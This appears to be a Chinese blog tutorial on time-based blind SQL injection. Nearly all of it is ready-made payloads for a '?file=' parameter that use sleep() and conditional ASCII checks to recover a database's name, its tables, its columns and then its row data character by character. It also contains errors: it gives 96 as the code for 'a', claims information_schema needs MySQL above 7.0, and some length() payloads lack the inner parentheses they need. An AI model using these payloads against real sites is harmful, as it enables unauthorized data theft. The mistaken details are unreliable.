假设当前存在一个字符型的时间盲注

–+和#是为了将原先SQL语句的末尾引号注释掉(有的时候有用到括号)

1
2
3
?file='恶意语句--+

?file='恶意语句#

注入判断

盲注函数,延迟指定秒数运行SQL命令

如果成功延迟了指定的时长后返回,说明存在(最好逐渐增加时长来验证)

1
sleep(秒数)

payload:

1
?file='and sleep(10)--+

逻辑语句构造

如果条件为真返回表达式1的值,否则返回表达式2的值

1
if(条件,表达式1,表达式2)

payload:

1
?file='and if(true,sleep(10),0)--+

数据库

数据库位数查询

查询当前数据库名称

1
database()

获取当前数据库名称中第8位字符(8表示匹配的子串位置,1表示长度)

1
substr(database(),8,1)

获取当前字符的ascii码(如果数据库名没有8位长度时,将会获取到ascii码值为0)

1
ascii(substr(database(),8,1))

payload(将上一步的true替换掉):

1
?file='and if(ascii(substr(database(),8,1)),sleep(10),0)--+

数据库名查询

遍历第一个字符

先查询数据库的第一个字符是否为a(对应的ascii码为96)

1
?file='and if(ascii(substr(database(),1,1))=96,sleep(10),0)--+

如果不是的话,继续更换ascii码直到得出结果

1
?file='and if(ascii(substr(database(),1,1))=97,sleep(10),0)--+

遍历第N个字符

如果没有判断数据库名的位数可以先通过如下的方式简单判断一下,是否存在这个字符,如果存在就会延迟

1
?file='and if(ascii(substr(database(),N,1)),sleep(10),0)--+

然后开始跑ASCII码,直到获取结果

1
?file='and if(ascii(substr(database(),N,1))=96,sleep(10),0)--+

数据表

表个数查询

mysql > 7.0版本中存在一个information.schema的特殊表,可用来查询指定数据库的表个数

1
select count(table_name) from information_schema.tables where table_schema = database()

然后就是判断对应的表个数是否为6,不是的话就换个数字继续判断直到得到结果

1
?file=' and if((select count(table_name) from information_schema.tables where table_schema = database())=6,sleep(10),0)--+

表长度查询

如果要查询第一个表时,可以使用limit 0,1来限制结果的获取

1
select table_name from information_schema.tables where table_schema = database() limit 0,1

可以使用length来判断表的长度

1
length(select table_name from information_schema.tables where table_schema = database() limit 0,1) = 6

payload

1
?file=' and if(length(select table_name from information_schema.tables where table_schema = database() limit 0,1) = 6,sleep(10),0)--+

表名称查询

查询第一个表名,使用limit 0,1限制结果的获取

1
select table_name from information_schema.tables where table_schema = database() limit 0,1

查询表名的第一个字符

查询第一个字符时需要不断改变ASCII码的值,当第一个字符的ASCII码值符合时就会延迟10秒

payload

1
?file=' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = ASCII码值,sleep(10),0)--+

查询表名的第N个字符

查询第N个字符时需要不断改变ASCII码的值,当第N个字符的ASCII码值符合时就会延迟10秒

payload

1
?file=' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),N,1)) = ASCII码值,sleep(10),0)--+

数据列

列个数查询

列个数查询与表类似

1
select count(column_name) from information_schema.columns where table_name = '表名'

若列个数符合时,将会延迟10秒

payload

1
?file=' and if((select count(column_name) from information_schema.columns where table_name = '表名') = 列个数,sleep(10),1) --+

列长度查询

查询得到的列名有多个,需要通过limit关键字来指定获取

limit 0,1表示获取第一条列名结果,length用于求取长度

1
length(select column_name from information_schema.columns where table_name = '表名' limit 0,1)

若列长度符合时,将会延迟10秒

payload

1
?file=' and if(length((select column_name from information_schema.columns where table_name = '表名' limit 0,1)) = 列长度,sleep(10),1) --+

列名称查询

查询得到的列名有多个,需要通过limit关键字来指定获取

limit 0,1表示获取第一条列名结果

1
select column_name from information_schema.columns where table_name = '表名' limit 0,1

查询列名的第一个字符

查询第一个字符时需要不断改变ASCII码的值,当第一个字符的ASCII码值符合时就会延迟10秒

payload

1
?file=' and if(ascii(substr((select column_name from information_schema.columns where table_name = '表名' limit 0,1),1,1)) = ASCII码值,sleep(10),1) --+

查询列名的第N个字符

查询第N个字符时需要不断改变ASCII码的值,当第N个字符的ASCII码值符合时就会延迟10秒

payload

1
?file=' and if(ascii(substr((select column_name from information_schema.columns where table_name = '表名' limit 0,1),N,1)) = ASCII码值,sleep(10),1) --+

数据

数据长度查询

limit用于查询第一条数据,如果需要查询第二条数据时可使用limit 1,1,第三条数据则是limit 2,1(以此类推)

1
select 列名 from 表名 limit 0,1

当符合指定长度时,将会延迟10秒

payload

1
?file=' and If(length((select 列名 from 表名 limit 0,1))=长度,sleep(10),1)--+

数据内容查询

1
select 列名 from 表名 limit 0,1

查询数据的第一个字符

查询第一个字符时需要不断改变ASCII码的值,当第一个字符的ASCII码值符合时就会延迟10秒

payload

1
?file=' and if(ascii(substr((select 列名 from 表名 limit 0,1),1,1))=ASCII码值,sleep(10),1)--+

查询数据的第N个字符

查询第N个字符时需要不断改变ASCII码的值,当第N个字符的ASCII码值符合时就会延迟10秒

payload

1
?file=' and if(ascii(substr((select 列名 from 表名 limit 0,1),N,1))=ASCII码值,sleep(10),1)--+

参考

https://blog.csdn.net/qq_38149849/article/details/127146230

https://www.cnblogs.com/forforever/p/13019703.html

https://www.pianshen.com/article/13101179842/